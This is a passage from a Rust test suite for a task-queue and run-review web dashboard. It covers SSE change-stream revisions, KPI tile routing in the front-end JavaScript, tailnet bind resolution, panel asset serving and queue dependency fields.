21189        );
21190    }
21191
21192    #[test]
21193    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
21194        assert!(
21195            APP_JS.contains("round.verified_head !== round.head"),
21196            "a round that verified an earlier commit must be visibly distinct from one that \
21197             verified the head reviewers are looking at now"
21198        );
21199        assert!(
21200            APP_JS.contains("round.verified_at"),
21201            "when a check ran must be on the wire, not just which commit"
21202        );
21203        assert!(
21204            APP_JS.contains("resource_blocked"),
21205            "a command magi never got to run (shared build cache contention) must not render \
21206             the same as a command that ran and failed"
21207        );
21208    }
21209
21210    #[test]
21211    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
21212        // Every KPI tile but Total runs and Completion names an exact
21213        // RunStatus and hands it to openRunsFiltered(), which is what wires
21214        // the click into state.runsFilter.status (matchesFilter's own
21215        // status check) rather than the coarser runsStateFilter chips. Each
21216        // status literal here must be one of the strings runSection() (and
21217        // isStale()) actually compare a run's own `status` field against -
21218        // a status this dashboard invented would filter to nothing.
21219        assert!(
21220            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
21221            "every KPI tile built through statusTile() must route its click through \
21222             openRunsFiltered, the single place that sets the Runs filter"
21223        );
21224        for (label, status) in [
21225            ("Merged", "merged"),
21226            ("Ready", "ready"),
21227            ("Blocked", "blocked"),
21228            ("Stalled", "stalled"),
21229        ] {
21230            let call = format!("statusTile(\"{label}\", t.{status}, ");
21231            assert!(
21232                APP_JS.contains(&call),
21233                "expected the {label} KPI tile built via {call}..."
21234            );
21235            assert!(
21236                APP_JS.contains(&format!("status === \"{status}\"")),
21237                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
21238                 compare a run against, not one invented only for the stats tile"
21239            );
21240        }
21241        assert!(
21242            APP_JS.contains("function openRunsFiltered(status)"),
21243            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
21244        );
21245        assert!(
21246            APP_JS.contains(
21247                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
21248            ),
21249            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
21250        );
21251        // applyRoute() only flips which view is visible for a plain `#runs`
21252        // hash - it does not itself redraw the list (see applyRoute's own
21253        // handling below) - so openRunsFiltered must call renderRuns()
21254        // itself, and must call applyRoute() too so the view flips even
21255        // when the hash string doesn't change (the operator may already be
21256        // on the Runs view when a tile is tapped, which fires no
21257        // hashchange event at all).
21258        assert!(
21259            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
21260            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
21261             hashchange event that may never fire"
21262        );
21263    }
21264
21265    #[test]
21266    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
21267        // A stats tile can leave state.runsFilter.status set to something
21268        // done-by-construction (e.g. "merged") - picking "Active" afterward
21269        // must drop it the same way an incompatible tree section is already
21270        // dropped, or the Runs list renders permanently empty with no way
21271        // for the operator to tell why.
21272        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
21273        assert!(
21274            APP_JS.contains(
21275                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
21276            ),
21277            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
21278             guard for an incompatible tree section"
21279        );
21280    }
21281
21282    #[test]
21283    fn every_stats_queue_tile_names_a_real_queue_section() {
21284        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
21285        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
21286        // (consumeQueueSectionFocus finds no matching <details> and drops
21287        // the focus) rather than fail loudly, so pin every key against the
21288        // section list it has to resolve against.
21289        assert!(
21290            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
21291            "every queue tile built through sectionTile() must route its click through \
21292             openQueueSectionFocus"
21293        );
21294        for key in ["upnext", "running", "done", "held", "blocked"] {
21295            assert!(
21296                APP_JS.contains(&format!("{{ key: \"{key}\",")),
21297                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
21298            );
21299        }
21300        // Queued and Failed intentionally both resolve to "upnext" - the
21301        // same section queueSection() itself files them under - rather than
21302        // getting a section each.
21303        for line in [
21304            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
21305            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
21306            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
21307            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
21308            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
21309            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
21310        ] {
21311            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
21312        }
21313    }
21314
21315    #[test]
21316    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
21317        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
21318        // above for the section-focus channel a stats queue tile drives:
21319        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
21320        // through the stale-search-clear recursion into renderQueue(), and
21321        // clear it only once revealQueueSection() is actually about to run -
21322        // the same trap that once silently dropped a task-focus jump.
21323        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
21324        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
21325        assert!(APP_JS.contains("function revealQueueSection(details)"));
21326        assert!(
21327            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
21328            "renderQueue() must consume both focus channels on every pass"
21329        );
21330        assert!(
21331            APP_JS.contains(
21332                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
21333            ),
21334            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
21335             the recursive renderQueue() call has nothing left to reveal"
21336        );
21337        assert!(
21338            APP_JS.contains(
21339                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
21340            ),
21341            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
21342        );
21343        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
21344        // task-focus form of the hash - a plain `#queue` navigation only
21345        // flips which view is visible. openQueueSectionFocus() must
21346        // therefore call renderQueue() itself, and applyRoute() too so the
21347        // view flips even when the hash doesn't change (the Backlog may
21348        // already be open when a tile is tapped, firing no hashchange
21349        // event at all).
21350        assert!(
21351            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
21352            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
21353             hashchange event that may never fire"
21354        );
21355    }
21356
21357    #[tokio::test]
21358    async fn the_change_stream_announces_the_current_revisions_on_connect() {
21359        let f = Fixture::start().await;
21360
21361        let mut socket = tokio::net::TcpStream::connect(f.addr)
21362            .await
21363            .expect("connect");
21364        socket
21365            .write_all(
21366                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
21367            )
21368            .await
21369            .expect("write request");
21370
21371        // Read until the first event arrives rather than to end of stream: the
21372        // stream is endless by design, which is the point of the route.
21373        let mut seen = String::new();
21374        let mut buf = [0u8; 1024];
21375        while !seen.contains("event: change") {
21376            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
21377                .await
21378                .expect("the stream must speak within five seconds")
21379                .expect("read");
21380            assert!(read > 0, "the server closed the change stream: {seen}");
21381            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
21382        }
21383
21384        assert!(
21385            seen.to_lowercase()
21386                .contains("content-type: text/event-stream"),
21387            "the browser only reconnects automatically for a real SSE stream: {seen}"
21388        );
21389        let data = seen
21390            .lines()
21391            .find_map(|l| l.strip_prefix("data:"))
21392            .expect("a data line");
21393        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
21394        assert!(
21395            payload["queue_rev"].is_u64()
21396                && payload["runs_rev"].is_u64()
21397                && payload["questions_rev"].is_u64()
21398                && payload["talks_rev"].is_u64()
21399                && payload["notifications_rev"].is_u64()
21400                && payload["loop_rev"].is_u64(),
21401            "the client needs one revision per store to know what to refetch, \
21402             and `talks_rev` is the only notification a standing talk gets - a \
21403             phone whose radio slept through a turn learns about it here, as \
21404             does one whose operator started the loop from another device: \
21405             {payload}"
21406        );
21407
21408        // The front end re-polls health on a timer and on wake, and takes the
21409        // revisions from that answer whenever the stream is not up. So health
21410        // has to carry every key the stream carries: a phone on a link that
21411        // will not hold an SSE connection is exactly the phone that must still
21412        // notice a question, and a missing key there is not a 500 but a UI
21413        // that quietly stops updating.
21414        let health = f.get("/api/health").await.json();
21415        for key in [
21416            "queue_rev",
21417            "runs_rev",
21418            "questions_rev",
21419            "talks_rev",
21420            "notifications_rev",
21421            "loop_rev",
21422        ] {
21423            assert!(
21424                health[key].is_u64(),
21425                "health is the change stream's fallback and is missing `{key}`: {health}"
21426            );
21427        }
21428    }
21429
21430    #[tokio::test]
21431    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
21432        let f = Fixture::start().await;
21433        let before = f.get("/api/health").await.json()["talks_rev"]
21434            .as_u64()
21435            .expect("talks_rev");
21436
21437        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
21438        std::thread::sleep(Duration::from_millis(10));
21439        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
21440        on_disk.turns.push(crate::talk::Turn {
21441            sender: None,
21442            breaks: Some(Vec::new()),
21443            messages: Vec::new(),
21444            posted_by: None,
21445            who: crate::talk::Who::Operator,
21446            body: "a new turn".to_owned(),
21447            at: Timestamp::now(),
21448            attachments: Vec::new(),
21449            usage: None,
21450        });
21451        f.talks().put(&mut on_disk).expect("record a turn");
21452
21453        let after = tokio::time::timeout(Duration::from_secs(5), async {
21454            loop {
21455                let revision = f.get("/api/health").await.json()["talks_rev"]
21456                    .as_u64()
21457                    .unwrap();
21458                if revision != before {
21459                    break revision;
21460                }
21461                tokio::time::sleep(Duration::from_millis(50)).await;
21462            }
21463        })
21464        .await
21465        .expect("shared monitor observes external turn");
21466        assert_ne!(
21467            before, after,
21468            "a phone must be able to notice a talk's reply without polling every store"
21469        );
21470    }
21471
21472    #[test]
21473    fn bind_reads_back_from_the_spelling_the_cli_prints() {
21474        // The CLI shows the default in `--help` and parses whatever comes
21475        // back, so the two directions have to agree or `--bind auto` breaks
21476        // the moment someone copies the help text.
21477        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
21478            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
21479        }
21480        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
21481        assert!("everywhere".parse::<Bind>().is_err());
21482    }
21483
21484    #[test]
21485    fn an_explicit_bind_address_is_taken_verbatim() {
21486        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
21487
21488        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
21489
21490        assert_eq!(addr, asked);
21491        assert!(
21492            warning.is_none(),
21493            "an operator who named an address gets no lecture"
21494        );
21495    }
21496
21497    #[test]
21498    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
21499        let (addr, warning) = resolve_bind(&Bind::Auto);
21500
21501        // This has to hold on a CI runner with no `tailscale` and on a dev box
21502        // with one, so the invariant asserted is the one shared by both
21503        // outcomes: the address is either a real tailnet address offered
21504        // without comment, or loopback with an explanation. What must never
21505        // happen is a silent fallback - an operator told "listening on
21506        // 127.0.0.1" with no reason would go looking for a firewall.
21507        match addr {
21508            IpAddr::V4(ip) if is_tailnet(&ip) => {
21509                assert!(warning.is_none(), "a tailnet address needs no warning");
21510            }
21511            other => {
21512                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
21513                let warning = warning.expect("a fallback has to explain itself");
21514                assert!(
21515                    warning.contains("127.0.0.1") && warning.contains("local-only"),
21516                    "the warning says what happened and what it costs: {warning}"
21517                );
21518            }
21519        }
21520    }
21521
21522    #[test]
21523    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
21524        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
21525        // boundary cases are what stop us binding to some other tool's idea of
21526        // an address.
21527        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
21528        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
21529        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
21530        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
21531        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
21532    }
21533
21534    #[test]
21535    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
21536        let ids = vec![
21537            "20260902-140501-aaaa".to_owned(),
21538            "20260902-140502-aabb".to_owned(),
21539        ];
21540
21541        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
21542        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
21543        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
21544
21545        assert_eq!(missing.status, StatusCode::NOT_FOUND);
21546        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
21547        assert_eq!(short, "20260902-140502-aabb");
21548    }
21549    #[tokio::test]
21550    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
21551        // The prompt tells agents to reference attachments by bare filename.
21552        // A document served at `.../panel` resolves `shot.png` against its own
21553        // directory, i.e. `.../shot.png`, which is not the asset route - so a
21554        // panel written exactly as instructed showed broken images. Caught by
21555        // looking at a real one in a browser, not by reading the code.
21556        let fx = Fixture::start().await;
21557        let id = panel(
21558            &fx,
21559            "<img src=\"shot.png\">",
21560            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
21561        );
21562
21563        // The frame's own URL ends in a filename, so its siblings are reachable.
21564        let doc = fx
21565            .get(&format!("/api/questions/{id}/panel/index.html"))
21566            .await;
21567        assert_eq!(doc.status, 200, "{}", doc.body);
21568        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
21569
21570        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
21571        assert_eq!(sibling.status, 200, "{}", sibling.body);
21572        assert_eq!(sibling.header("content-type"), Some("image/png"));
21573        assert_eq!(
21574            sibling.header("content-security-policy"),
21575            Some(PANEL_CSP),
21576            "the sibling route must carry the same policy as the asset route"
21577        );
21578
21579        // The original spelling keeps working: HEAD on it is how the front end
21580        // decides whether to mount a frame at all.
21581        assert_eq!(
21582            fx.head(&format!("/api/questions/{id}/panel")).await.status,
21583            200
21584        );
21585    }
21586
21587    #[test]
21588    fn delta_stamps_cover_add_update_remove_and_noop() {
21589        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
21590        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
21591        let delta = diff_stamps(&before, &after, 42);
21592        assert_eq!(delta.base, 42);
21593        assert_eq!(delta.changed, ["b", "c"]);
21594        assert_eq!(delta.removed, ["a"]);
21595        let same = diff_stamps(&after, &after, 43);
21596        assert!(same.changed.is_empty() && same.removed.is_empty());
21597        assert_ne!(stamps_revision(&before), stamps_revision(&after));
21598        let nanos: Stamps = [("b".into(), (2, 20))].into();
21599        let same_ms: Stamps = [("b".into(), (3, 20))].into();
21600        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
21601        assert_eq!(stamps_revision(&Stamps::new()), 0);
21602    }
21603
21604    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
21605        std::fs::create_dir_all(home.join("runs")).unwrap();
21606        Arc::new(
21607            Ui::new(
21608                Queue::at(home.join("queue")),
21609                Questions::at(home.join("questions")),
21610                Talks::at(home.join("talks")),
21611                home.join("runs"),
21612                home.to_owned(),
21613                PathBuf::from("/repo/magi"),
21614            )
21615            .with_worktrees_root(home.join("wt")),
21616        )
21617    }
21618
21619    #[test]
21620    fn monitor_scan_isolates_store_failures_and_recovers() {
21621        let home = TempDir::new().unwrap();
21622        let ui = delta_test_ui(home.path());
21623        std::fs::create_dir_all(ui.questions.root()).unwrap();
21624        std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
21625        let before = monitor_scan(&ui, None);
21626        std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
21627        std::fs::write(ui.questions.root(), "not a directory").unwrap();
21628        std::fs::create_dir_all(ui.talks.root()).unwrap();
21629        std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
21630        let during = monitor_scan(&ui, Some(before.clone()));
21631        assert_eq!(during.0.2, before.0.2);
21632        assert_ne!(during.0.3, before.0.3);
21633        assert!(during.1[2].contains_key("new"));
21634        std::fs::remove_file(ui.questions.root()).unwrap();
21635        let after = monitor_scan(&ui, Some(during));
21636        assert_eq!(after.0.2, 0);
21637        assert_eq!(after.0.3, stamps_revision(&after.1[2]));
21638        // A failed first scan also permits healthy stores to publish.
21639        std::fs::write(ui.questions.root(), "not a directory").unwrap();
21640        assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
21641    }
21642
21643    #[tokio::test]
21644    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
21645        let home = TempDir::new().unwrap();
21646        let ui = delta_test_ui(home.path());
21647        let mut task = Task::new(
21648            "stream task".into(),
21649            "text".into(),
21650            PathBuf::from("/repo"),
21651            Source::Human,
21652        );
21653        ui.queue.put(&mut task).unwrap();
21654        let response = events(State(ui.clone())).await.into_response();
21655        let mut stream = response.into_body().into_data_stream();
21656        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
21657            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
21658                .await
21659                .unwrap()
21660                .unwrap()
21661                .unwrap();
21662            let text = String::from_utf8(chunk.to_vec()).unwrap();
21663            let data = text
21664                .lines()
21665                .find_map(|line| {
21666                    line.strip_prefix("data: ")
21667                        .or_else(|| line.strip_prefix("data:"))
21668                })
21669                .unwrap();
21670            serde_json::from_str(data).unwrap()
21671        }
21672        let initial = change(&mut stream).await;
21673        assert!(initial.get("queue_delta").is_none());
21674        task.instruction.push_str(" changed");
21675        ui.queue.put(&mut task).unwrap();
21676        let updated = change(&mut stream).await;
21677        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
21678        assert_eq!(
21679            updated["queue_delta"]["changed"],
21680            serde_json::json!([task.id])
21681        );
21682        assert_eq!(
21683            updated["queue_rev"].as_u64(),
21684            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
21685        );
21686        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
21687        let removed = change(&mut stream).await;
21688        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
21689        assert_eq!(
21690            removed["queue_delta"]["removed"],
21691            serde_json::json!([task.id])
21692        );
21693    }
21694
21695    #[tokio::test]
21696    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
21697        let home = TempDir::new().unwrap();
21698        let ui = delta_test_ui(home.path());
21699        let queue = ui.queue.clone();
21700        let query = |ids: Option<&str>| {
21701            Query(ListQuery {
21702                limit: Some(2),
21703                ids: ids.map(str::to_owned),
21704            })
21705        };
21706        let mut root = Task::new(
21707            "root".into(),
21708            "instruction".into(),
21709            PathBuf::from("/repo"),
21710            Source::Human,
21711        );
21712        queue.put(&mut root).unwrap();
21713        let mut blocked = Task::new(
21714            "blocked".into(),
21715            "instruction".into(),
21716            PathBuf::from("/repo"),
21717            Source::Human,
21718        );
21719        blocked.block(vec![root.id.clone()], None);
21720        queue.put(&mut blocked).unwrap();
21721        let whole =
21722            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
21723                .unwrap();
21724        let subset = serde_json::to_value(
21725            queue_list(State(ui.clone()), query(Some(&root.id)))
21726                .await
21727                .unwrap()
21728                .0,
21729        )
21730        .unwrap();
21731        assert_eq!(whole, subset, "requested root plus its blocked dependent");
21732        let blockers = serde_json::to_value(
21733            queue_list(State(ui.clone()), query(Some("")))
21734                .await
21735                .unwrap()
21736                .0,
21737        )
21738        .unwrap();
21739        assert_eq!(blockers.as_array().unwrap().len(), 1);
21740        assert_eq!(blockers[0]["id"], blocked.id);
21741        assert_eq!(
21742            blockers[0]["waits_on"],
21743            whole
21744                .as_array()
21745                .unwrap()
21746                .iter()
21747                .find(|row| row["id"] == blocked.id)
21748                .unwrap()["waits_on"]
21749        );
21750
21751        for id in [
21752            "20260902-140501-aaaa",
21753            "20260902-140502-bbbb",
21754            "20260902-140503-cccc",
21755        ] {
21756            write_run(&ui.runs, id, RunStatus::Merged);
21757        }
21758        let old = serde_json::to_value(
21759            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
21760                .await
21761                .unwrap()
21762                .0,
21763        )
21764        .unwrap();
21765        assert!(
21766            old.as_array().unwrap().is_empty(),
21767            "older updates must not enter the window"
21768        );
21769        let newest = serde_json::to_value(
21770            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
21771                .await
21772                .unwrap()
21773                .0,
21774        )
21775        .unwrap();
21776        assert_eq!(newest.as_array().unwrap().len(), 1);
21777        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
21778
21779        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
21780        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
21781        let talks = serde_json::to_value(
21782            talks_list(
21783                State(ui.clone()),
21784                query(Some("20260905-000000-d4e5")),
21785                header::HeaderMap::new(),
21786            )
21787            .await
21788            .unwrap()
21789            .0,
21790        )
21791        .unwrap();
21792        assert_eq!(talks.as_array().unwrap().len(), 1);
21793        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
21794        assert_eq!(
21795            serde_json::to_value(
21796                talks_list(State(ui.clone()), query(Some("")), header::HeaderMap::new())
21797                    .await
21798                    .unwrap()
21799                    .0
21800            )
21801            .unwrap(),
21802            serde_json::json!([])
21803        );
21804    }
21805
21806    #[tokio::test]
21807    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
21808    async fn delta_payload_benchmark() {
21809        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
21810        let ui = delta_test_ui(&home);
21811        let query = |ids: Option<String>| {
21812            Query(ListQuery {
21813                limit: Some(50),
21814                ids,
21815            })
21816        };
21817        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
21818        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
21819        let talks = talks_list(State(ui.clone()), query(None), header::HeaderMap::new())
21820            .await
21821            .unwrap()
21822            .0;
21823        let queue_id = queue
21824            .iter()
21825            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
21826            .unwrap_or(&queue[0])
21827            .task
21828            .id
21829            .clone();
21830        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
21831            .await
21832            .unwrap()
21833            .0;
21834        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
21835            .await
21836            .unwrap()
21837            .0;
21838        let talks_delta = talks_list(
21839            State(ui.clone()),
21840            query(Some(talks[0].id.clone())),
21841            header::HeaderMap::new(),
21842        )
21843        .await
21844        .unwrap()
21845        .0;
21846        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
21847        eprintln!(
21848            "DELTA_PAYLOAD {}",
21849            serde_json::json!({
21850                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
21851                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
21852                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
21853                "counts": [queue.len(), runs.len(), talks.len()],
21854                "blocked": queue_delta.len() - 1,
21855            })
21856        );
21857    }
21858
21859    #[test]
21860    fn runs_revision_moves_when_deleting_an_older_run() {
21861        let temp = TempDir::new().expect("tempdir");
21862        let runs = temp.path().join("runs");
21863        std::fs::create_dir_all(&runs).expect("create runs dir");
21864
21865        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
21866
21867        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
21868        std::thread::sleep(Duration::from_millis(10));
21869        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
21870
21871        let rev_before = runs_revision(&runs);
21872        assert!(rev_before > 0);
21873
21874        let old_dir = runs.join("20260901-100000-old1");
21875        std::fs::remove_dir_all(&old_dir).expect("remove old run");
21876
21877        let rev_after = runs_revision(&runs);
21878        assert_ne!(
21879            rev_before, rev_after,
21880            "deleting an older run must change the revision so other clients see the deletion"
21881        );
21882    }
21883
21884    /// A run's own `run.json` on an explicit `runs` root, bypassing the
21885    /// process-global home entirely — `RunState::save` writes through
21886    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
21887    /// (see `tests::home_lock` in the integration suite for why).
21888    fn write_state(runs: &FsPath, state: &RunState) {
21889        let dir = runs.join(&state.id);
21890        std::fs::create_dir_all(&dir).expect("run dir");
21891        std::fs::write(
21892            dir.join("run.json"),
21893            serde_json::to_string_pretty(state).expect("serialize run"),
21894        )
21895        .expect("write run.json");
21896    }
21897
21898    /// A seat starting or finishing is a write to `run.json` like any other,
21899    /// so it moves the same revision the change stream already watches —
21900    /// nothing new for `/api/events` to learn, but the property this feature
21901    /// depends on to reach the phone without a poll.
21902    #[test]
21903    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
21904        let temp = TempDir::new().expect("tempdir");
21905        let runs = temp.path().join("runs");
21906        std::fs::create_dir_all(&runs).expect("create runs dir");
21907        let mut state = RunState::new(
21908            PathBuf::from("/repo/magi"),
21909            "main".to_owned(),
21910            "0123456789abcdef".to_owned(),
21911            "task".to_owned(),
21912            Config::default(),
21913        );
21914        state.id = "20260902-100000-c0de".to_owned();
21915        write_state(&runs, &state);
21916
21917        let rev_idle = runs_revision(&runs);
21918        std::thread::sleep(Duration::from_millis(10));
21919        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
21920        write_state(&runs, &state);
21921        let rev_started = runs_revision(&runs);
21922        assert_ne!(
21923            rev_idle, rev_started,
21924            "a seat starting must move the revision"
21925        );
21926
21927        std::thread::sleep(Duration::from_millis(10));
21928        state.seat_finished("judge-1");
21929        write_state(&runs, &state);
21930        let rev_finished = runs_revision(&runs);
21931        assert_ne!(
21932            rev_started, rev_finished,
21933            "and clearing it again must move the revision a second time"
21934        );
21935    }
21936
21937    #[tokio::test]
21938    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
21939        // `TaskView` flattens `Task`, so this is really asserting that
21940        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
21941        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
21942        // never touched web.rs, so nothing here caught it if it had.
21943        let fx = Fixture::start().await;
21944        let q = fx.queue();
21945
21946        let mut t = Task::new(
21947            "Task".to_owned(),
21948            "Instruction".to_owned(),
21949            PathBuf::from("/repo"),
21950            Source::Human,
21951        );
21952        t.block(
21953            vec!["20260101-000000-dead".to_owned()],
21954            Some("waiting on Task 1".to_owned()),
21955        );
21956        t.answers.push(crate::queue::AnsweredQuestion {
21957            question: "Which backend?".to_owned(),
21958            answer: "SQLite".to_owned(),
21959        });
21960        q.put(&mut t).expect("put t");
21961
21962        let res = fx.get("/api/queue").await;
21963        assert_eq!(res.status, 200);
21964        let list = res.json();
21965        let view = list
21966            .as_array()
21967            .expect("array")
21968            .iter()
21969            .find(|v| v["id"] == t.id)
21970            .expect("task in list");
21971        assert_eq!(view["status_str"], "blocked");
21972        assert_eq!(
21973            view["blocked_by"],
21974            serde_json::json!(["20260101-000000-dead"])
21975        );
21976        assert_eq!(view["block_reason"], "waiting on Task 1");
21977        assert_eq!(view["answers"][0]["question"], "Which backend?");
21978        assert_eq!(view["answers"][0]["answer"], "SQLite");
21979
21980        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
21981        // but never `answers` - that is a settled decision, not state
21982        // describing the current block, so it survives.
21983        let res = fx
21984            .post(&format!("/api/queue/{}/hold", t.short()), None)
21985            .await;
21986        assert_eq!(res.status, 200);
21987        let held = res.json();
21988        assert_eq!(held["status_str"], "held");
21989        assert_eq!(held["blocked_by"], serde_json::json!([]));
21990        assert!(held["block_reason"].is_null());
21991        assert_eq!(held["answers"][0]["answer"], "SQLite");
21992    }
21993
21994    #[tokio::test]
21995    async fn task_recovery_pending_decisions_block_disk_autoresume() {
21996        let fx = Fixture::start().await;
21997        let queue = fx.queue();
21998        let questions = fx.questions();
21999        let mut task = Task::new(
22000            "Disk recovery".into(),
22001            "Inspect".into(),
22002            PathBuf::from("/repo"),
22003            Source::Human,
22004        );
22005        task.hold_machine(crate::disk::gate(2_667_941_888, 3_221_225_472));
22006        queue.put(&mut task).unwrap();
22007        let mut records = Vec::new();
22008        for node in [crate::triage::NODE, crate::triage::DEPS_NODE] {
22009            let mut q = Question::new(
22010                task.id.clone(),
22011                node.into(),
22012                "triage".into(),
22013                "Resume recovery?".into(),
22014                String::new(),
22015                vec![],
22016            );
22017            q.routed_task = Some(task.id.clone());
22018            questions.put(&mut q).unwrap();
22019            records.push(q);
22020        }
22021        let url = format!("/api/queue/{}", task.id);
22022        let view = fx.get(&url).await.json();
22023        assert_eq!(view["status_str"], "held");
22024        assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
22025        assert!(
22026            view["recovery"]
22027                .as_str()
22028                .unwrap()
22029                .contains("Disk recovery alone will not resume")
22030        );
